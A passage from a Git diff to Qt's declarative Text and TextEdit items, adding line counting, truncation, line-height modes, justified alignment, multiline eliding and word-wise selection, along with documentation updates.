+ x -= elideWidth/2; // Correct for when eliding multilines
}
line.setPosition(QPointF(x, line.y()));
}
}
- return layout.boundingRect().toAlignedRect().size();
+ //Update the number of visible lines
+ if (lineCount != visibleCount) {
+ lineCount = visibleCount;
+ emit q->lineCountChanged();
+ }
+
+ return QSize(qCeil(widthUsed), qCeil(height));
}
/*!
@@ -351,7 +485,7 @@ QPixmap QDeclarativeTextPrivate::textLayoutImage(bool drawStyle)
qreal x = 0;
for (int i = 0; i < layout.lineCount(); ++i) {
QTextLine line = layout.lineAt(i);
- if (hAlign == QDeclarativeText::AlignLeft) {
+ if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) {
x = 0;
} else if (hAlign == QDeclarativeText::AlignRight) {
x = size.width() - line.naturalTextWidth();
@@ -389,7 +523,9 @@ void QDeclarativeTextPrivate::drawTextLayout(QPainter *painter, const QPointF &p
else
painter->setPen(color);
painter->setFont(font);
- layout.draw(painter, pos);
+ layout.draw(painter, pos);
+ if (!elidePos.isNull())
+ painter->drawText(elidePos, elideChar);
}
/*!
@@ -558,11 +694,24 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
\brief The Text item allows you to add formatted text to a scene.
\inherits Item
- A Text item can display both plain and rich text. For example:
+ Text items can display both plain and rich text. For example, red text with
+ a specific font and size can be defined like this:
\qml
- Text { text: "Hello World!"; font.family: "Helvetica"; font.pointSize: 24; color: "red" }
- Text { text: "<b>Hello</b> <i>World!</i>" }
+ Text {
+ text: "Hello World!"
+ font.family: "Helvetica"
+ font.pointSize: 24
+ color: "red"
+ }
+ \endqml
+
+ Rich text is defined using HTML-style markup:
+
+ \qml
+ Text {
+ text: "<b>Hello</b> <i>World!</i>"
+ }
\endqml
\image declarative-text.png
@@ -582,7 +731,7 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
\sa {declarative/text/fonts}{Fonts example}
*/
QDeclarativeText::QDeclarativeText(QDeclarativeItem *parent)
- : QDeclarativeItem(*(new QDeclarativeTextPrivate), parent)
+ : QDeclarativeImplicitSizeItem(*(new QDeclarativeTextPrivate), parent)
{
}
@@ -736,19 +885,28 @@ QDeclarativeText::~QDeclarativeText()
QFont QDeclarativeText::font() const
{
Q_D(const QDeclarativeText);
- return d->font;
+ return d->sourceFont;
}
void QDeclarativeText::setFont(const QFont &font)
{
Q_D(QDeclarativeText);
- if (d->font == font)
+ if (d->sourceFont == font)
return;
+ d->sourceFont = font;
+ QFont oldFont = d->font;
d->font = font;
- d->updateLayout();
+ if (d->font.pointSizeF() != -1) {
+ // 0.5pt resolution
+ qreal size = qRound(d->font.pointSizeF()*2.0);
+ d->font.setPointSizeF(size/2.0);
+ }
+
+ if (oldFont != d->font)
+ d->updateLayout();
- emit fontChanged(d->font);
+ emit fontChanged(d->sourceFont);
}
/*!
@@ -789,12 +947,20 @@ void QDeclarativeText::setText(const QString &n)
The text color.
+ An example of green text defined using hexadecimal notation:
\qml
- //green text using hexadecimal notation
- Text { color: "#00FF00"; ... }
+ Text {
+ color: "#00FF00"
+ text: "green text"
+ }
+ \endqml
- //steelblue text using SVG color name
- Text { color: "steelblue"; ... }
+ An example of steel blue text defined using an SVG color name:
+ \qml
+ Text {
+ color: "steelblue"
+ text: "blue text"
+ }
\endqml
*/
QColor QDeclarativeText::color() const
@@ -898,8 +1064,8 @@ void QDeclarativeText::setStyleColor(const QColor &color)
Sets the horizontal and vertical alignment of the text within the Text items
width and height. By default, the text is top-left aligned.
- The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight and
- \c Text.AlignHCenter. The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom
+ The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight, \c Text.AlignHCenter and
+ \c Text.AlignJustify. The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom
and \c Text.AlignVCenter.
Note that for a single line of text, the size of the text is the area of the text. In this common case,
@@ -977,6 +1143,76 @@ void QDeclarativeText::setWrapMode(WrapMode mode)
emit wrapModeChanged();
}
+/*!
+ \qmlproperty int Text::lineCount
+
+ Returns the number of lines visible in the text item.
+
+ This property is not supported for rich text.
+
+ \sa maximumLineCount
+*/
+int QDeclarativeText::lineCount() const
+{
+ Q_D(const QDeclarativeText);
+ return d->lineCount;
+}
+
+/*!
+ \qmlproperty bool Text::truncated
+
+ Returns true if the text has been truncated due to \l maximumLineCount
+ or \l elide.
+
+ This property is not supported for rich text.
+
+ \sa maximumLineCount, elide
+*/
+bool QDeclarativeText::truncated() const
+{
+ Q_D(const QDeclarativeText);
+ return d->truncated;
+}
+
+/*!
+ \qmlproperty int Text::maximumLineCount
+
+ Set this property to limit the number of lines that the text item will show.
+ If elide is set to Text.ElideRight, the text will be elided appropriately.
+ By default, this is the value of the largest possible integer.
+
+ This property is not supported for rich text.
+
+ \sa lineCount, elide
+*/
+int QDeclarativeText::maximumLineCount() const
+{
+ Q_D(const QDeclarativeText);
+ return d->maximumLineCount;
+}
+
+void QDeclarativeText::setMaximumLineCount(int lines)
+{
+ Q_D(QDeclarativeText);
+
+ d->maximumLineCountValid = lines==INT_MAX ? false : true;
+ if (d->maximumLineCount != lines) {
+ d->maximumLineCount = lines;
+ d->updateLayout();
+ emit maximumLineCountChanged();
+ }
+}
+
+void QDeclarativeText::resetMaximumLineCount()
+{
+ Q_D(QDeclarativeText);
+ setMaximumLineCount(INT_MAX);
+ d->elidePos = QPointF();
+ if (d->truncated != false) {
+ d->truncated = false;
+ emit truncatedChanged();
+ }
+}
/*!
\qmlproperty enumeration Text::textFormat
@@ -1064,7 +1300,7 @@ void QDeclarativeText::setTextFormat(TextFormat format)
Set this property to elide parts of the text fit to the Text item's width.
The text will only elide if an explicit width has been set.
- This property cannot be used with multi-line text or with rich text.
+ This property cannot be used with rich text.
Eliding can be:
\list
@@ -1074,6 +1310,9 @@ void QDeclarativeText::setTextFormat(TextFormat format)
\o Text.ElideRight
\endlist
+ If this property is set to Text.ElideRight, it can be used with multiline
+ text. The text will only elide if maximumLineCount has been set.
+
If the text is a multi-length string, and the mode is not \c Text.ElideNone,
the first string that fits will be used, otherwise the last will be elided.
@@ -1117,6 +1356,7 @@ QRectF QDeclarativeText::boundingRect() const
switch (d->hAlign) {
case AlignLeft:
+ case AlignJustify:
x = 0;
break;
case AlignRight:
@@ -1150,7 +1390,7 @@ void QDeclarativeText::geometryChanged(const QRectF &newGeometry, const QRectF &
&& (d->wrapMode != QDeclarativeText::NoWrap
|| d->elideMode != QDeclarativeText::ElideNone
|| d->hAlign != QDeclarativeText::AlignLeft)) {
- if (d->singleline && d->elideMode != QDeclarativeText::ElideNone && widthValid()) {
+ if ((d->singleline || d->maximumLineCountValid) && d->elideMode != QDeclarativeText::ElideNone && widthValid()) {
// We need to re-elide
d->updateLayout();
} else {
@@ -1170,7 +1410,8 @@ void QDeclarativeText::geometryChanged(const QRectF &newGeometry, const QRectF &
*/
qreal QDeclarativeText::paintedWidth() const
{
- return implicitWidth();
+ Q_D(const QDeclarativeText);
+ return d->paintedSize.width();
}
/*!
@@ -1181,7 +1422,65 @@ qreal QDeclarativeText::paintedWidth() const
*/
qreal QDeclarativeText::paintedHeight() const
{
- return implicitHeight();
+ Q_D(const QDeclarativeText);
+ return d->paintedSize.height();
+}
+
+/*!
+ \qmlproperty real Text::lineHeight
+
+ Sets the line height for the text.
+ The value can be in pixels or a multiplier depending on lineHeightMode.
+
+ The default value is a multiplier of 1.0.
+ The line height must be a positive value.
+*/
+qreal QDeclarativeText::lineHeight() const
+{
+ Q_D(const QDeclarativeText);
+ return d->lineHeight;
+}
+
+void QDeclarativeText::setLineHeight(qreal lineHeight)
+{
+ Q_D(QDeclarativeText);
+
+ if ((d->lineHeight == lineHeight) || (lineHeight < 0.0))
+ return;
+
+ d->lineHeight = lineHeight;
+ d->updateLayout();
+ emit lineHeightChanged(lineHeight);
+}
+
+/*!
+ \qmlproperty enumeration Text::lineHeightMode
+
+ This property determines how the line height is specified.
+ The possible values are:
+
+ \list
+ \o Text.ProportionalHeight (default) - this sets the spacing proportional to the
+ line (as a multiplier). For example, set to 2 for double spacing.
+ \o Text.FixedHeight - this sets the line height to a fixed line height (in pixels).
+ \endlist
+*/
+QDeclarativeText::LineHeightMode QDeclarativeText::lineHeightMode() const
+{
+ Q_D(const QDeclarativeText);
+ return d->lineHeightMode;
+}
+
+void QDeclarativeText::setLineHeightMode(LineHeightMode mode)
+{
+ Q_D(QDeclarativeText);
+ if (mode == d->lineHeightMode)
+ return;
+
+ d->lineHeightMode = mode;
+ d->updateLayout();
+
+ emit lineHeightModeChanged(mode);
}
/*!
diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h
index abc45f9..b8835d1 100644
--- a/src/declarative/graphicsitems/qdeclarativetext_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetext_p.h
@@ -43,7 +43,7 @@
#define QDECLARATIVETEXT_H
#include <QtGui/qtextoption.h>
-#include "qdeclarativeitem.h"
+#include "qdeclarativeimplicitsizeitem_p.h"
#include <private/qdeclarativeglobal_p.h>
@@ -53,7 +53,7 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
class QDeclarativeTextPrivate;
-class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplicitSizeItem
{
Q_OBJECT
Q_ENUMS(HAlignment)
@@ -62,6 +62,7 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem
Q_ENUMS(TextFormat)
Q_ENUMS(TextElideMode)
Q_ENUMS(WrapMode)
+ Q_ENUMS(LineHeightMode)
Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged)
@@ -71,10 +72,16 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem
Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged)
Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
+ Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
+ Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged REVISION 1)
+ Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount REVISION 1)
+
Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode?
Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
+ Q_PROPERTY(qreal lineHeight READ lineHeight WRITE setLineHeight NOTIFY lineHeightChanged REVISION 1)
+ Q_PROPERTY(LineHeightMode lineHeightMode READ lineHeightMode WRITE setLineHeightMode NOTIFY lineHeightModeChanged REVISION 1)
public:
QDeclarativeText(QDeclarativeItem *parent=0);
@@ -82,7 +89,8 @@ public:
enum HAlignment { AlignLeft = Qt::AlignLeft,
AlignRight = Qt::AlignRight,
- AlignHCenter = Qt::AlignHCenter };
+ AlignHCenter = Qt::AlignHCenter,
+ AlignJustify = Qt::AlignJustify }; // ### VERSIONING: Only in QtQuick 1.1
enum VAlignment { AlignTop = Qt::AlignTop,
AlignBottom = Qt::AlignBottom,
AlignVCenter = Qt::AlignVCenter };
@@ -106,6 +114,8 @@ public:
Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere
};
+ enum LineHeightMode { ProportionalHeight, FixedHeight };
+
QString text() const;
void setText(const QString &);
@@ -130,12 +140,25 @@ public:
WrapMode wrapMode() const;
void setWrapMode(WrapMode w);
+ int lineCount() const;
+ bool truncated() const;
+
+ int maximumLineCount() const;
+ void setMaximumLineCount(int lines);
+ void resetMaximumLineCount();
+
TextFormat textFormat() const;
void setTextFormat(TextFormat format);
TextElideMode elideMode() const;
void setElideMode(TextElideMode);
+ qreal lineHeight() const;
+ void setLineHeight(qreal lineHeight);
+
+ LineHeightMode lineHeightMode() const;
+ void setLineHeightMode(LineHeightMode);
+
void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
virtual void componentComplete();
@@ -157,9 +180,14 @@ Q_SIGNALS:
void horizontalAlignmentChanged(HAlignment alignment);
void verticalAlignmentChanged(VAlignment alignment);
void wrapModeChanged();
+ Q_REVISION(1) void lineCountChanged();
+ Q_REVISION(1) void truncatedChanged();
+ Q_REVISION(1) void maximumLineCountChanged();
void textFormatChanged(TextFormat textFormat);
void elideModeChanged(TextElideMode mode);
void paintedSizeChanged();
+ Q_REVISION(1) void lineHeightChanged(qreal lineHeight);
+ Q_REVISION(1) void lineHeightModeChanged(LineHeightMode mode);
protected:
void mousePressEvent(QGraphicsSceneMouseEvent *event);
diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
index 67f2289..36ae123 100644
--- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
@@ -54,7 +54,7 @@
//
#include "qdeclarativeitem.h"
-#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
#include "private/qdeclarativetextlayout_p.h"
#include <qdeclarative.h>
@@ -66,7 +66,7 @@ QT_BEGIN_NAMESPACE
class QTextLayout;
class QTextDocumentWithImageResources;
-class QDeclarativeTextPrivate : public QDeclarativeItemPrivate
+class Q_AUTOTEST_EXPORT QDeclarativeTextPrivate : public QDeclarativeImplicitSizeItemPrivate
{
Q_DECLARE_PUBLIC(QDeclarativeText)
public:
@@ -79,6 +79,7 @@ public:
QString text;
QFont font;
+ QFont sourceFont;
QColor color;
QDeclarativeText::TextStyle style;
QColor styleColor;
@@ -88,6 +89,15 @@ public:
QDeclarativeText::TextElideMode elideMode;
QDeclarativeText::TextFormat format;
QDeclarativeText::WrapMode wrapMode;
+ qreal lineHeight;
+ QDeclarativeText::LineHeightMode lineHeightMode;
+ int lineCount;
+ bool truncated;
+ int maximumLineCount;
+ int maximumLineCountValid;
+ QPointF elidePos;
+
+ static QString elideChar;
void invalidateImageCache();
void checkImageCache();
@@ -99,9 +109,12 @@ public:
bool singleline:1;
bool cacheAllTextAsImage:1;
bool internalWidthUpdate:1;
+ bool requireImplicitWidth:1;
QSize layedOutTextSize;
-
+ QSize paintedSize;
+ qreal naturalWidth;
+ virtual qreal implicitWidth() const;
void ensureDoc();
QPixmap textDocumentImage(bool drawStyle);
QTextDocumentWithImageResources *doc;
diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
index 675f8d9..7f383a6 100644
--- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
@@ -51,6 +51,7 @@
#include <QTextLayout>
#include <QTextLine>
#include <QTextDocument>
+#include <QTextObject>
#include <QGraphicsSceneMouseEvent>
#include <QDebug>
#include <QPainter>
@@ -103,8 +104,16 @@ TextEdit {
\sa Text, TextInput, {declarative/text/textselection}{Text Selection example}
*/
+/*!
+ \qmlsignal TextEdit::onLinkActivated(string link)
+ \since Quick 1.1
+
+ This handler is called when the user clicks on a link embedded in the text.
+ The link must be in rich text or HTML format and the
+ \a link string provides access to the particular link.
+*/
QDeclarativeTextEdit::QDeclarativeTextEdit(QDeclarativeItem *parent)
-: QDeclarativePaintedItem(*(new QDeclarativeTextEditPrivate), parent)
+: QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextEditPrivate), parent)
{
Q_D(QDeclarativeTextEdit);
d->init();
@@ -326,22 +335,35 @@ void QDeclarativeTextEdit::setTextFormat(TextFormat format)
QFont QDeclarativeTextEdit::font() const
{
Q_D(const QDeclarativeTextEdit);
- return d->font;
+ return d->sourceFont;
}
void QDeclarativeTextEdit::setFont(const QFont &font)
{
Q_D(QDeclarativeTextEdit);
+ if (d->sourceFont == font)
+ return;
+
+ d->sourceFont = font;
+ QFont oldFont = d->font;
d->font = font;
+ if (d->font.pointSizeF() != -1) {
+ // 0.5pt resolution
+ qreal size = qRound(d->font.pointSizeF()*2.0);
+ d->font.setPointSizeF(size/2.0);
+ }
- clearCache();
- d->document->setDefaultFont(d->font);
- if(d->cursor){
- d->cursor->setHeight(QFontMetrics(d->font).height());
- moveCursorDelegate();
+ if (oldFont != d->font) {
+ clearCache();
+ d->document->setDefaultFont(d->font);
+ if(d->cursor){
+ d->cursor->setHeight(QFontMetrics(d->font).height());
+ moveCursorDelegate();
+ }
+ updateSize();
+ update();
}
- updateSize();
- update();
+ emit fontChanged(d->sourceFont);
}
/*!
@@ -350,11 +372,13 @@ void QDeclarativeTextEdit::setFont(const QFont &font)
The text color.
\qml
-// green text using hexadecimal notation
-TextEdit { color: "#00FF00"; ... }
+ // green text using hexadecimal notation
+ TextEdit { color: "#00FF00" }
+ \endqml
-// steelblue text using SVG color name
-TextEdit { color: "steelblue"; ... }
+ \qml
+ // steelblue text using SVG color name
+ TextEdit { color: "steelblue" }
\endqml
*/
QColor QDeclarativeTextEdit::color() const
@@ -442,6 +466,7 @@ void QDeclarativeTextEdit::setSelectedTextColor(const QColor &color)
\o TextEdit.AlignLeft (default)
\o TextEdit.AlignRight
\o TextEdit.AlignHCenter
+ \o TextEdit.AlignJustify
\endlist
Valid values for \c verticalAlignment are:
@@ -518,6 +543,17 @@ void QDeclarativeTextEdit::setWrapMode(WrapMode mode)
}
/*!
+ \qmlproperty int TextEdit::lineCount
+
+ Returns the total number of lines in the textEdit item.
+*/
+int QDeclarativeTextEdit::lineCount() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->lineCount;
+}
+
+/*!
\qmlproperty real TextEdit::paintedWidth
Returns the width of the text, including the width past the width
@@ -525,7 +561,8 @@ void QDeclarativeTextEdit::setWrapMode(WrapMode mode)
*/
qreal QDeclarativeTextEdit::paintedWidth() const
{
- return implicitWidth();
+ Q_D(const QDeclarativeTextEdit);
+ return d->paintedSize.width();
}
/*!
@@ -536,7 +573,8 @@ qreal QDeclarativeTextEdit::paintedWidth() const
*/
qreal QDeclarativeTextEdit::paintedHeight() const
{
- return implicitHeight();
+ Q_D(const QDeclarativeTextEdit);
+ return d->paintedSize.height();
}
/*!
@@ -570,37 +608,101 @@ int QDeclarativeTextEdit::positionAt(int x, int y) const
return r;
}
+void QDeclarativeTextEdit::moveCursorSelection(int pos)
+{
+ //Note that this is the same as setCursorPosition but with the KeepAnchor flag set
+ Q_D(QDeclarativeTextEdit);
+ QTextCursor cursor = d->control->textCursor();
+ if (cursor.position() == pos)
+ return;
+ cursor.setPosition(pos, QTextCursor::KeepAnchor);
+ d->control->setTextCursor(cursor);
+}
+
/*!
- \qmlmethod int TextEdit::moveCursorSelection(int pos)
+ \qmlmethod void TextEdit::moveCursorSelection(int position, SelectionMode mode = TextEdit.SelectCharacters)
+ \since Quick 1.1
- Moves the cursor to \a position and updates the selection accordingly.
- (To only move the cursor, set the \l cursorPosition property.)
+ Moves the cursor to \a position and updates the selection according to the optional \a mode
+ parameter. (To only move the cursor, set the \l cursorPosition property.)
When this method is called it additionally sets either the
selectionStart or the selectionEnd (whichever was at the previous cursor position)
to the specified position. This allows you to easily extend and contract the selected
text range.
+ The selection mode specifies whether the selection is updated on a per character or a per word
+ basis. If not specified the selection mode will default to TextEdit.SelectCharacters.
+
+ \list
+ \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at
+ the previous cursor position) to the specified position.
+ \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all
+ words between the specified postion and the previous cursor position. Words partially in the
+ range are included.
+ \endlist
+
For example, take this sequence of calls:
\code
cursorPosition = 5
- moveCursorSelection(9)
- moveCursorSelection(7)
+ moveCursorSelection(9, TextEdit.SelectCharacters)
+ moveCursorSelection(7, TextEdit.SelectCharacters)
\endcode
This moves the cursor to position 5, extend the selection end from 5 to 9
and then retract the selection end from 9 to 7, leaving the text from position 5 to 7
selected (the 6th and 7th characters).
+
+ The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary
+ before or on position 5 and extend the selection end to a word boundary on or past position 9.
*/
-void QDeclarativeTextEdit::moveCursorSelection(int pos)
+void QDeclarativeTextEdit::moveCursorSelection(int pos, SelectionMode mode)
{
- //Note that this is the same as setCursorPosition but with the KeepAnchor flag set
Q_D(QDeclarativeTextEdit);
QTextCursor cursor = d->control->textCursor();
if (cursor.position() == pos)
return;
- cursor.setPosition(pos, QTextCursor::KeepAnchor);
+ if (mode == SelectCharacters) {
+ cursor.setPosition(pos, QTextCursor::KeepAnchor);
+ } else if (cursor.anchor() < pos || (cursor.anchor() == pos && cursor.position() < pos)) {
+ if (cursor.anchor() > cursor.position()) {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
+ if (cursor.position() == cursor.anchor())
+ cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor);
+ else
+ cursor.setPosition(cursor.position(), QTextCursor::MoveAnchor);
+ } else {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::MoveAnchor);
+ }
+
+ cursor.setPosition(pos, QTextCursor::KeepAnchor);
+ cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
+ if (cursor.position() != pos)
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
+ } else if (cursor.anchor() > pos || (cursor.anchor() == pos && cursor.position() > pos)) {
+ if (cursor.anchor() < cursor.position()) {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
+ } else {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
+ if (cursor.position() != cursor.anchor()) {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
+ }
+ }
+
+ cursor.setPosition(pos, QTextCursor::KeepAnchor);
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
+ if (cursor.position() != pos) {
+ cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
+ cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
+ }
+ }
d->control->setTextCursor(cursor);
}
@@ -646,7 +748,7 @@ void QDeclarativeTextEdit::setCursorPosition(int pos)
if (pos < 0 || pos > d->text.length())
return;
QTextCursor cursor = d->control->textCursor();
- if (cursor.position() == pos)
+ if (cursor.position() == pos && cursor.anchor() == pos)
return;
cursor.setPosition(pos);
d->control->setTextCursor(cursor);
@@ -874,11 +976,45 @@ void QDeclarativeTextEdit::setSelectByMouse(bool on)
Q_D(QDeclarativeTextEdit);
if (d->selectByMouse != on) {
d->selectByMouse = on;
+ setKeepMouseGrab(on);
+ if (on)
+ setTextInteractionFlags(d->control->textInteractionFlags() | Qt::TextSelectableByMouse);
+ else
+ setTextInteractionFlags(d->control->textInteractionFlags() & ~Qt::TextSelectableByMouse);
emit selectByMouseChanged(on);
}
}
+/*!
+ \qmlproperty enum TextEdit::mouseSelectionMode
+ \since Quick 1.1
+
+ Specifies how text should be selected using a mouse.
+
+ \list
+ \o TextEdit.SelectCharacters - The selection is updated with individual characters. (Default)
+ \o TextEdit.SelectWords - The selection is updated with whole words.
+ \endlist
+
+ This property only applies when \l selectByMouse is true.
+*/
+
+QDeclarativeTextEdit::SelectionMode QDeclarativeTextEdit::mouseSelectionMode() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->mouseSelectionMode;
+}
+
+void QDeclarativeTextEdit::setMouseSelectionMode(SelectionMode mode)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->mouseSelectionMode != mode) {
+ d->mouseSelectionMode = mode;
+ d->control->setWordSelectionEnabled(mode == SelectWords);
+ emit mouseSelectionModeChanged(mode);
+ }
+}
/*!
\qmlproperty bool TextEdit::readOnly
@@ -894,13 +1030,13 @@ void QDeclarativeTextEdit::setReadOnly(bool r)
if (r == isReadOnly())
return;
+ setFlag(QGraphicsItem::ItemAcceptsInputMethod, !r);
- Qt::TextInteractionFlags flags = Qt::NoTextInteraction;
- if (r) {
- flags = Qt::TextSelectableByMouse;
- } else {
- flags = Qt::TextEditorInteraction;
- }
+ Qt::TextInteractionFlags flags = Qt::LinksAccessibleByMouse;
+ if (d->selectByMouse)
+ flags = flags | Qt::TextSelectableByMouse;
+ if (!r)
+ flags = flags | Qt::TextSelectableByKeyboard | Qt::TextEditable;
d->control->setTextInteractionFlags(flags);
if (!r)
d->control->moveCursor(QTextCursor::End);
@@ -992,11 +1128,24 @@ void QDeclarativeTextEdit::keyReleaseEvent(QKeyEvent *event)
void QDeclarativeTextEditPrivate::focusChanged(bool hasFocus)
{
Q_Q(QDeclarativeTextEdit);
- q->setCursorVisible(hasFocus);
+ q->setCursorVisible(hasFocus && scene && scene->hasFocus());
QDeclarativeItemPrivate::focusChanged(hasFocus);
}
/*!
+ \qmlmethod void TextEdit::deselect()
+
+ Removes active text selection.
+*/
+void QDeclarativeTextEdit::deselect()
+{
+ Q_D(QDeclarativeTextEdit);
+ QTextCursor c = d->control->textCursor();
+ c.clearSelection();
+ d->control->setTextCursor(c);
+}
+
+/*!
\qmlmethod void TextEdit::selectAll()
Causes all text to be selected.
@@ -1105,8 +1254,8 @@ void QDeclarativeTextEdit::mousePressEvent(QGraphicsSceneMouseEvent *event)
}
}
}
- if (event->type() != QEvent::GraphicsSceneMouseDoubleClick || d->selectByMouse)
- d->control->processEvent(event, QPointF(0, -d->yoff));
+
+ d->control->processEvent(event, QPointF(0, -d->yoff));
if (!event->isAccepted())
QDeclarativePaintedItem::mousePressEvent(event);
}
@@ -1141,13 +1290,11 @@ Handles the given mouse \a event.
void QDeclarativeTextEdit::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QDeclarativeTextEdit);
- if (d->selectByMouse) {
- d->control->processEvent(event, QPointF(0, -d->yoff));
- if (!event->isAccepted())
- QDeclarativePaintedItem::mouseDoubleClickEvent(event);
- } else {
+
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ if (!event->isAccepted())
QDeclarativePaintedItem::mouseDoubleClickEvent(event);
- }
+
}
/*!
@@ -1157,14 +1304,9 @@ Handles the given mouse \a event.
void QDeclarativeTextEdit::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QDeclarativeTextEdit);
- if (d->selectByMouse) {
- d->control->processEvent(event, QPointF(0, -d->yoff));
- if (!event->isAccepted())
- QDeclarativePaintedItem::mouseMoveEvent(event);
- event->setAccepted(true);
- } else {
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ if (!event->isAccepted())
QDeclarativePaintedItem::mouseMoveEvent(event);
- }
}
/*!
@@ -1237,6 +1379,21 @@ void QDeclarativeTextEdit::updateImgCache(const QRectF &rf)
filtering at the beginning of the animation and reenable it at the conclusion.
*/
+/*!
+ \qmlproperty bool TextEdit::canPaste
+
+ Returns true if the TextEdit is writable and the content of the clipboard is
+ suitable for pasting into the TextEdit.
+
+ \since QtQuick 1.1
+*/
+
+bool QDeclarativeTextEdit::canPaste() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->canPaste;
+}
+
void QDeclarativeTextEditPrivate::init()
{
Q_Q(QDeclarativeTextEdit);
@@ -1248,6 +1405,8 @@ void QDeclarativeTextEditPrivate::init()
control = new QTextControl(q);
control->setIgnoreUnusedNavigationEvents(true);
+ control->setTextInteractionFlags(Qt::LinksAccessibleByMouse | Qt::TextSelectableByKeyboard | Qt::TextEditable);
+ control->setDragEnabled(false);
// QTextControl follows the default text color
// defined by the platform, declarative text
@@ -1266,6 +1425,11 @@ void QDeclarativeTextEditPrivate::init()
QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SLOT(updateSelectionMarkers()));
QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorPositionChanged()));
QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorRectangleChanged()));
+ QObject::connect(control, SIGNAL(linkActivated(QString)), q, SIGNAL(linkActivated(QString)));
+#ifndef QT_NO_CLIPBOARD
+ QObject::connect(q, SIGNAL(readOnlyChanged(bool)), q, SLOT(q_canPasteChanged()));
+ QObject::connect(QApplication::clipboard(), SIGNAL(dataChanged()), q, SLOT(q_canPasteChanged()));
+#endif
document = control->document();
document->setDefaultFont(font);
@@ -1280,6 +1444,7 @@ void QDeclarativeTextEdit::q_textChanged()
Q_D(QDeclarativeTextEdit);
d->text = text();
updateSize();
+ updateTotalLines();
updateMicroFocus();
emit textChanged(d->text);
}
@@ -1341,6 +1506,17 @@ QRectF QDeclarativeTextEdit::boundingRect() const
return r.translated(0,d->yoff);
}
